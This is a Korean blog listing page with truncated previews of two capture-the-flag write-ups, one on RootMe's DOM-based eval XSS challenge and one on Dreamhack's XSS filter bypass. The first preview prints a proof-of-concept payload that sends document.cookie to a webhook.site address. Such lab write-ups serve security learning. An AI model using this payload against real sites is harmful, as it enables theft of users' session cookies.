반응형

크로스사이트스크립팅 3

RootMe - XSS DOM Based - Eval WriteUp

문제 풀이계산기 웹사이트 존재 사용자의 입력 값이 eval 함수 안에 삽입된 후 그 결과가 innerText로 들어가게 된다. 계산기 입력받는 값에서 정규식이 존재( /^\d+[\+|\-|\*|\/]\d+/)1. 숫자로 시작2. 숫자뒤에 +, -, *, / 와야 함3. 계산식 뒤에 숫자가 와야 함 위 정규식에 허점이 존재, 1+1 다음에 아무런 값이 올 수 있음 eval에서 ,를 사용해서 여러개의 자바스크립트 코드 실행이 가능하다. POC아래 코드 실행 시 webhook사이트로 cookie값을 전송할 수 있다.eval(1+1, location.href="https://webhook.site/a0a45cf9-b23f-44e7-a80c-0744cad0a729?c=".concat`${document.cooki..

WEB hacking/rootme 2025.02.19

드림핵 XSS Filtering Bypass WriteUp

문제 설명 XSS Filtering Bypass에 대한 문제이다. 이를 통해 크로스 사이트 스크립팅 취약점을 이용하여 문제를 해결해야함을 알 수 있다. 메인페이지에 접속을 하면 vuln, memo, flag에 대한 페이지에 접근할 수 있다. 먼제 vuln에 대해 살펴보겠다. vuln 페이지 소스코드 @app.route("/vuln") def vuln(): param = request.args.get("param", "") param = xss_filter(param) return param vuln 페이지는 param이라는 인자를 받아 xss_filter함수를 통해 필터링을 진행한 후 그대로 출력해준다. xss_filter을 살펴보자!! xss_filter 함수 소스코드 def xss_filter(tex..

반응형